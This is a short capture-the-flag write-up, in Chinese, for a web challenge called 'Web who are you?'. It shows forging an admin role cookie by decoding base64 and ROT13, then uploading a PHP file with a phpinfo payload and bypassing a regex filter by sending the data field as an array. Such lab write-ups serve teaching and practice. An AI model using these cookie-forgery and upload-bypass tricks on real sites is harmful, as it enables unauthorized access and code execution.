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Web who are you?

题目内容：http://106.75.72.168:2222/
我是谁，我在哪，我要做什么？

在文件头发现了Cookie

role=Zjo1OiJ0aHJmZyI7

将 Zjo1OiJ0aHJmZyI7 base64解码得到 f:5:"thrfg";使用凯撒密码爆破 thrfg发现其位移13位是 guest
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故可以用 admin的rot-13： nqzva，构造 f:5:"nqzva"然后base64加密 Zjo1OiJucXp2YSI=

用burpsuit抓包改cookie得到html页面如下

cookie:role=Zjo1OiJucXp2YSI=

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you ar
e easy to forget.</body>
</html>

filename=1.php&data=<?php phpinfo();?>

出现no！no！no！，怀疑有正则，用data[]变成列表绕开

filename=1.php&data[]=<?php phpinfo();?>

访问此路径即可获得flag
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